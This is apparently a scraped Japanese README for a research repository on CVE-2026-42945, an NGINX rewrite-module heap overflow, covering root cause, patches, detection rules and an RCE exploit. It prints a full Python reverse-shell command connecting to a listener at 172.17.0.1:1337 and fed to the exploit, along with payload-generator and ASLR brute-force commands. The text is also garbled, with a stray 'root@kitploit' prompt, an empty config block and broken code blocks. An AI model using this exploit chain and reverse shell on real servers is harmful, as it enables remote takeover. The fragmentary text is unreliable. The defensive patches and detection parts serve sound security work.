CVE-2026-42945

CVE-2026-42945に関する完全な調査リポジトリ。ヒープバッファオーバーフロー解析、RCEエクスプロイト（ヒープスプレー＋Feng Shui）、検出スクリプト、NGINX rewriteモジュールの脆弱性に対するパッチ適用ガイダンスを含みます。

目次

1. 脆弱性の概要
2. 根本原因の分析
3. 悪用のメカニズム
4. 修正内容の分析
5. 影響を受けるバージョン
6. 検出
7. 緩和策
8. プロジェクト構成
9. クイックスタート
10. 脆弱なバージョンのビルドと実行
11. オーバーフローのトリガー
12. RCEエクスプロイト
13. リバースシェルの検証
14. パッチ適用
15. テスト
16. ファジング
17. CIパイプライン
18. ドキュメント索引
19. プロジェクト統計
20. 参考文献

1. 脆弱性の概要

認証されていないリモート攻撃者は、特定の rewrite + set/if/rewrite 構成パターンを持つサーバーに対して細工したHTTPリクエストを送信することで、NGINXのワーカープロセスに決定論的なヒープバッファオーバーフローを引き起こすことができます。このオーバーフローはヒープメタデータ（ngx_pool_cleanup_t ポインタ）を破壊し、ヒープスプレーとFeng Shuiの技術により**リモートコード実行（RCE）**を可能にします。

トリガーパターン```nginx

server { listen 19321;

}

When e->is_args = 1, the copy-code for $N capture references calls ngx_escape_uri() with NGX_ESCAPE_ARGS, which expands:

• + → %2B (1 byte → 3 bytes, +200%)
• % → %25 (1 byte → 3 bytes, +200%)
• & → %26 (1 byte → 3 bytes, +200%)

バグ: パス間でのフラグ漏洩

脆弱なパターンに対する実行フロー:``` rewrite ^/api/(.*)$ /internal?migrated=true;

4. 長さパスのために新しいサブエンジン（le）が作成されます： ```c ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
   root@kitploit:~

これにより le.is_args = 0 が正しくゼロになるため、長さパスは生の、エスケープされていないキャプチャ長を返します。

5. コピーパスはメインエンジン e を再利用します。この e はステップ1から e->is_args = 1 のままです。コピーパスはURIエスケープを適用し、エスケープ可能な各文字を、raw長に合わせてサイズ設定されたバッファ内で1バイトから3バイトに展開します — ヒープオーバーフロー。

ビジュアルウォークスルー```

Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7

Buffer allocated: 7 bytes

Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes

この場所が正しい理由

ngx_http_script_regex_end_code は、長さパスとコピーパスの両方で すべての正規表現評価の後 に実行されます。ここで e->is_args = 0 をリセットすることで、以下が保証されます:

• フラグは、正規表現コードの実行が終了した 直後に クリアされます
• 後続のスクリプトコード (set, if, rewrite) はクリーンな is_args = 0 で開始されます
• ngx_http_script_start_args_code は、置換文字列内で ? を検出したときに is_args = 1 を設定できます — この修正はその機能を壊しません

多層防御パッチ

patches/0002-hardening-bounds-check.patch は ngx_http_script_copy_capture_code に境界チェックを追加します:```c if (e->pos + len > e->buf.data + e->buf.len) { return; /* gracefully truncate instead of overflowing */ }

このスクリプトは以下をチェックします:

• NGINXのバージョンが脆弱な範囲（0.6.27–1.30.0）に該当するか
• 設定ファイルに脆弱な rewrite + ? + capture パターンが存在するか

設定スキャナ```bash

Scan a single config

python3 exploit/config_scanner.py /etc/nginx/nginx.conf

Scan all configs in a directory

python3 exploit/config_scanner.py /etc/nginx/

Fix vulnerable patterns (convert to named captures)

python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix

Scans local Docker images for NGINX labels/env vars indicating vulnerable versions.

ローカルのDockerイメージをスキャンして、脆弱なバージョンを示すNGINXラベル/環境変数を検出します。

WAF ルール

ログ分析```bash

Parse error log for crash and exploit indicators

python3 exploit/log_parser.py /var/log/nginx/error.log

Watch mode (tail -f equivalent)

python3 exploit/log_parser.py /var/log/nginx/error.log --watch

名前付きキャプチャは ngx_escape_uri(..., NGX_ESCAPE_ARGS) を通らないため、e->is_args = 1 の場合でも展開は起こらず、オーバーフローも発生しません。

設定の堅牢化```bash

bash detection/harden_nginx.sh /etc/nginx/nginx.conf

8. プロジェクト構造```

CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline

10. 脆弱なアプリのビルドと実行

Docker（推奨）```bash

Using Makefile

make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up

Or directly

cd docker && docker compose up --build

パッチ適用済みコンテナ```bash

make fix-container

Builds: docker build -t nginx-rift-fixed \

-f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/

手動ビルド```bash

git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx

これは送信します：``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1

最小オーバーフローの発見```bash

python3 exploit/escape_calc.py --find-min 64

指定されたプレフィックス長とエスケープ可能文字数に対する拡大率を出力します。

12. RCEエクスプロイト

概要

このエクスプロイトは、クロスクエスト風水 を実装して、信頼性の高いコード実行を実現します：``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►

リバースシェル```bash

python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3

実行中のnginxワーカーPIDが必要です。 /proc/PID/maps を解析して以下を探します:

• ヒープベースアドレス
• libcベースアドレス
• system() 関数アドレス

安全なアドレスファインダー```bash

python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5

サポートされているシェルタイプ

インタラクティブリスナー```bash

Terminal 1: Start interactive listener

python3 shell/shell_listener.py --port 1337

Terminal 2: Run exploit with reverse shell

python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

ペイロードを生成```bash

python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list

修正の適用と堅牢化```bash

bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch

修正を検証する```bash

Check that the fix contains the key line

grep 'is_args = 0' patches/0001-fix-is_args.patch

Dry-run apply

patch -p1 --dry-run -i patches/0001-fix-is_args.patch

テストスイート (Shell)```bash

bash test/run_tests.sh

複数のNGINXバージョン（1.22.0、1.24.0、1.26.0、1.30.0、1.30.1）を、脆弱な構成と安全な構成に対してテストし、クラッシュ／クラッシュしないという期待結果を検証します。

設定マトリクス```bash

bash tools/test_all_configs.sh

AFL++```bash

bash tools/afl_runner.sh

The pipeline executes 7 phases:

1. Preflight — 前提条件の確認 (python3, curl, docker, docker-compose)
2. Syntax & Linting — Python コンパイル, ShellCheck
3. Static Analysis — 設定スキャナ, エスケープ計算, ヒープレイアウト, 安全なアドレス
4. Environment Startup — Docker コンテナのビルドと起動
5. Live Testing — ヘルスチェック, オーバーフロートリガー, ワーカー監視, パッチ形式
6. Reverse Shell Verification — ペイロード生成, リスナードライラン, 自動検証
7. Project Verification — 全ファイルの整合性と構文チェック

18. ドキュメントインデックス

19. プロジェクト統計

20. 参考文献

公式

研究

技術情報

このプロジェクトは、教育および防御的なセキュリティ研究を目的としています。この脆弱性は、NGINX メンテナーによって責任を持って開示され、パッチが適用されています。